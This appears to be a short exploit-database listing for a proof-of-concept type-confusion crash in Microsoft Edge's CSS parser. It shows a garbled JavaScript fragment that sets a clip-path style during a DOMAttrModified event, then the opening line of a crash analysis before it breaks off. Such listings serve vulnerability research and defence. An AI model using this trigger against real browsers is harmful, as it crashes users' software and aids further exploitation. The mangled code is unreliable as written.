Microsoft Edge - CssParser::RecordProperty Type Confusion Exploit

Exploit for windows platform in category dos / poc function go window.addEventListener"DOMAttrModified", undefined; m.style.cssText = "clip-path: urlfoo;"; !-- ========================================= Preliminary analysis: The crash happens inside CAttrArray::PrivateFindInl. Rcx this pointer is...